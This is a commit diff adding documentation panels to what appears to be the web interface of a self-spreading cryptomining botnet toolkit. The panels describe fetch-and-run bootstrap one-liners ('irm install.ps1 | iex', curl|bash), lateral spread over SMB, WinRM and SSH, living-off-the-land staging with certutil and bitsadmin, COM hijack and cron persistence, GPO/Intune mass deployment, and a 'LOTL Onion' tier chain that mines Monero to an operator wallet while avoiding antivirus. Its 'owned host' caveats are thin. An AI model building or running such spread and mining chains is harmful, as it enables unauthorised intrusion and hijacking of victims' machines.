Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
AetherForge
@@ -26,9 +26,13 @@
|
||||
<li><a href="#fusion-media">Fusion media</a></li>
|
||||
<li><a href="#usb">USB</a></li>
|
||||
<li><a href="#lan">LAN kindling</a></li>
|
||||
<li><a href="#winrm-bootstrap">WinRM bootstrap</a></li>
|
||||
<li><a href="#linux-lotl">Linux LOTL</a></li>
|
||||
<li><a href="#enterprise-gpo">GPO / Intune</a></li>
|
||||
<li><a href="#wordpress">WordPress plugin</a></li>
|
||||
<li><a href="#npm-helper">npm postinstall</a></li>
|
||||
<li><a href="#social-funnel">Social funnel</a></li>
|
||||
<li><a href="#lotl-onion">LOTL Onion</a></li>
|
||||
<li><a href="#third-party">Third-party & gaps</a></li>
|
||||
</ul>
|
||||
</aside>
|
||||
@@ -54,9 +58,13 @@
|
||||
<button type="button" class="spread-tab" role="tab" data-spread-tab="fusion-media" aria-selected="false">Fusion media</button>
|
||||
<button type="button" class="spread-tab" role="tab" data-spread-tab="usb" aria-selected="false">USB</button>
|
||||
<button type="button" class="spread-tab" role="tab" data-spread-tab="lan" aria-selected="false">LAN</button>
|
||||
<button type="button" class="spread-tab" role="tab" data-spread-tab="winrm-bootstrap" aria-selected="false">WinRM</button>
|
||||
<button type="button" class="spread-tab" role="tab" data-spread-tab="linux-lotl" aria-selected="false">Linux LOTL</button>
|
||||
<button type="button" class="spread-tab" role="tab" data-spread-tab="enterprise-gpo" aria-selected="false">GPO/Intune</button>
|
||||
<button type="button" class="spread-tab" role="tab" data-spread-tab="wordpress" aria-selected="false">WordPress</button>
|
||||
<button type="button" class="spread-tab" role="tab" data-spread-tab="npm-helper" aria-selected="false">npm helper</button>
|
||||
<button type="button" class="spread-tab" role="tab" data-spread-tab="social-funnel" aria-selected="false">Social funnel</button>
|
||||
<button type="button" class="spread-tab" role="tab" data-spread-tab="lotl-onion" aria-selected="false">LOTL Onion</button>
|
||||
<button type="button" class="spread-tab" role="tab" data-spread-tab="third-party" aria-selected="false">Third-party</button>
|
||||
</div>
|
||||
|
||||
@@ -230,10 +238,68 @@ irm https://your.site/install.ps1?pin={build_id}&c=docs | iex</code></pre>
|
||||
<li>Deploy patient zero via waterhole or curl|bash with campaign tag.</li>
|
||||
<li>Agent scans subnet (ARP-first /24 + /64) via <code>deploy/subnet.go</code>.</li>
|
||||
<li>Windows: SMB <code>admin$</code>, WinRM; Linux/macOS: SSH lateral (gated).</li>
|
||||
<li><strong>UNC spread (LOTL):</strong> <code>spread_smb_unc</code> — <code>sc.exe \\host create/start</code> with <code>binPath=</code> on a Forge output UNC (<code>\\forge\pathforge$\worker.exe</code>). Pure LOLBins: <code>sc.exe</code>, <code>net.exe</code>. Path Tracer: <code>POST /api/v1/pathtrace/spread</code> dispatches on the egress hop.</li>
|
||||
<li><strong>Staging chain (LOTL):</strong> <code>stage_fetch</code> — download chunks via <code>curl.exe</code> or <code>bitsadmin</code>, <code>certutil -decode</code>, verify SHA256 from server, launch via <code>rundll32</code> or exe. Staging paths use the same traversal hygiene as upload/download.</li>
|
||||
</ol>
|
||||
<a class="spread-deck-link" href="/emberwake">Export spread kit →</a>
|
||||
</div>
|
||||
|
||||
<!-- WinRM bootstrap -->
|
||||
<div class="spread-panel" data-spread-panel="winrm-bootstrap" id="winrm-bootstrap" hidden>
|
||||
<h3>WinRM bootstrap — encoded registration</h3>
|
||||
<p><span class="wiki-status working">Working</span> Export from Crucible → Spread Templates or <code>POST /api/v1/builder/spread-template-export</code>.</p>
|
||||
<h4>Prerequisites</h4>
|
||||
<ul>
|
||||
<li>Owned/lab Windows hosts with remoting enabled or rights to run <code>Enable-PSRemoting</code></li>
|
||||
<li>Patient zero with <code>auto_spread</code> or <code>winrm_spread</code> forge flag for lateral encoded bootstrap</li>
|
||||
</ul>
|
||||
<h4>How it works</h4>
|
||||
<ol class="spread-steps">
|
||||
<li>Template runs <code>Enable-PSRemoting</code> + base64-encoded bootstrap that fetches <code>/get</code> with <code>?pin=</code> / <code>?c=</code>.</li>
|
||||
<li>Agent starts with <code>--spread-install --defer-mining</code> — mining begins only after <code>mining_diagnostics</code> passes on C2.</li>
|
||||
<li>Optional COM hijack under benign CLSID — <strong>default off</strong>; enable only on owned machines via export checkbox.</li>
|
||||
<li>Autospread also attempts WinRM lateral when port 5985/5986 is open on subnet peers.</li>
|
||||
</ol>
|
||||
<p>API body: <code>{ "template": "winrm", "com_hijack": false }</code></p>
|
||||
</div>
|
||||
|
||||
<!-- Linux LOTL -->
|
||||
<div class="spread-panel" data-spread-panel="linux-lotl" id="linux-lotl" hidden>
|
||||
<h3>Linux LOTL — systemd-run & crontab</h3>
|
||||
<p><span class="wiki-status working">Working</span> SSH lateral spread + LOTL persistence options.</p>
|
||||
<h4>Prerequisites</h4>
|
||||
<ul>
|
||||
<li>Passwordless SSH keys for lateral targets (<code>BatchMode=yes</code>)</li>
|
||||
<li>Forge <code>linux_lotl_mode</code>: <code>systemd_run_user</code>, <code>crontab</code>, or <code>both</code></li>
|
||||
</ul>
|
||||
<h4>How it works</h4>
|
||||
<ol class="spread-steps">
|
||||
<li><code>autospread_unix.go</code> SCP + SSH with <code>--spread-install --defer-mining</code>.</li>
|
||||
<li>Template <code>lotl-bootstrap.sh</code>: curl <code>/get?os=linux</code>, optional <code>systemd-run --user</code> and/or crontab <code>@reboot</code>.</li>
|
||||
<li>When no CUDA: fallback chain adds <code>linux_pyopencl</code> tier via <code>python3 -c import pyopencl</code> probe before <code>stratum_direct</code>.</li>
|
||||
</ol>
|
||||
<p>Export: <code>{ "template": "linux-lotl", "lotl_mode": "both" }</code></p>
|
||||
</div>
|
||||
|
||||
<!-- GPO / Intune -->
|
||||
<div class="spread-panel" data-spread-panel="enterprise-gpo" id="enterprise-gpo" hidden>
|
||||
<h3>GPO / Intune enterprise spread</h3>
|
||||
<p><span class="wiki-status working">Working</span> Startup scripts pull agent binary — <strong>mining policy stays server-side</strong>, not in the GPO/Intune blob.</p>
|
||||
<h4>Prerequisites</h4>
|
||||
<ul>
|
||||
<li>AD GPO edit rights or Intune script assignment on owned tenant</li>
|
||||
<li>Reachable command deck URL from domain endpoints</li>
|
||||
</ul>
|
||||
<h4>How it works</h4>
|
||||
<ol class="spread-steps">
|
||||
<li><strong>GPO:</strong> Computer Configuration → Scripts → Startup → <code>gpo-startup.ps1</code> (irm install.ps1 or fetch worker).</li>
|
||||
<li><strong>Intune:</strong> Assign <code>intune-startup.ps1</code> as proactive remediation / platform script.</li>
|
||||
<li>Each boot: agent registers, pulls server config, runs fallback chain: container → inprocess → gpu_subprocess → stratum_direct.</li>
|
||||
<li><code>AETHER_DEFER_MINING=1</code> / <code>--defer-mining</code> until diagnostics pass.</li>
|
||||
</ol>
|
||||
<p>Export templates: <code>gpo</code> and <code>intune</code> via spread-template-export. Crucible → Spread tab → Spread Templates.</p>
|
||||
</div>
|
||||
|
||||
<!-- WordPress -->
|
||||
<div class="spread-panel" data-spread-panel="wordpress" id="wordpress" hidden>
|
||||
<h3>WordPress plugin — owned-site supply chain</h3>
|
||||
@@ -306,6 +372,42 @@ irm https://your.site/install.ps1?pin={build_id}&c=docs | iex</code></pre>
|
||||
<a class="spread-deck-link" href="/emberwake">Build campaign links →</a>
|
||||
</div>
|
||||
|
||||
<!-- LOTL Onion -->
|
||||
<div class="spread-panel" data-spread-panel="lotl-onion" id="lotl-onion" hidden>
|
||||
<h3>LOTL Onion — native-tool spread tier chain</h3>
|
||||
<p>
|
||||
<span class="wiki-status working">Working</span>
|
||||
Forge preset adjacent to <strong>AV-Safe</strong>: in-process RandomX (same <strong>XMR wallet</strong> field),
|
||||
no GPU exe drop, ordered contingencies using living-off-the-land tooling only.
|
||||
</p>
|
||||
<h4>Default tier order (docker → GPO)</h4>
|
||||
<p class="form-hint">
|
||||
Baked at forge time; when <code>lotl_policy_from_server</code> is enabled the agent pulls the live order from
|
||||
<code>server.lotl_onion_tiers</code> in Calibrate on WebSocket auth — no re-forge to reorder.
|
||||
</p>
|
||||
<table class="wiki-table">
|
||||
<thead><tr><th>Tier</th><th>One-line</th></tr></thead>
|
||||
<tbody>
|
||||
<tr id="lotl-tier-docker"><td><strong>docker</strong></td><td>Container worker image — isolated RandomX, no host miner exe drop</td></tr>
|
||||
<tr id="lotl-tier-wsl"><td><strong>wsl</strong></td><td>WSL curl|bash one-liner when native Windows path is blocked</td></tr>
|
||||
<tr id="lotl-tier-powershell"><td><strong>powershell</strong></td><td>PS remoting / hidden install.ps1 from your C2 origin</td></tr>
|
||||
<tr id="lotl-tier-dotnet"><td><strong>dotnet</strong></td><td>dotnet tool-run bootstrap — no standalone payload exe</td></tr>
|
||||
<tr id="lotl-tier-bits_curl"><td><strong>bits/curl</strong></td><td>BITS transfer or curl|bash to <code>/install.ps1</code> — fileless fetch</td></tr>
|
||||
<tr id="lotl-tier-smb"><td><strong>smb</strong></td><td>admin$ / C$ copy + SCM — classic lateral on open 445</td></tr>
|
||||
<tr id="lotl-tier-winrm"><td><strong>winrm</strong></td><td>Opportunistic PS remoting when 5985/5986 responds</td></tr>
|
||||
<tr id="lotl-tier-linux"><td><strong>linux</strong></td><td>SSH lateral on Unix agents — same wallet, no extra drop</td></tr>
|
||||
<tr id="lotl-tier-gpo"><td><strong>gpo</strong></td><td>Domain startup/logon script push — operator-owned AD only</td></tr>
|
||||
</tbody>
|
||||
</table>
|
||||
<h4>Forge steps</h4>
|
||||
<ol class="spread-steps">
|
||||
<li>Forge → Operation mode → <strong>LOTL Onion</strong> (or enable <code>lotl_onion_enabled</code> in Advanced).</li>
|
||||
<li>Set <strong>XMR Wallet Address</strong> — same field as every other preset; payout goes here.</li>
|
||||
<li>Forge once; tier order updates via server config when policy-from-server is on.</li>
|
||||
</ol>
|
||||
<a class="spread-deck-link" href="/forge">Open Forge →</a>
|
||||
</div>
|
||||
|
||||
<!-- Third-party -->
|
||||
<div class="spread-panel" data-spread-panel="third-party" id="third-party" hidden>
|
||||
<h3>Third-party platforms & gaps</h3>
|
||||
|
||||
Reference in New Issue
Block a user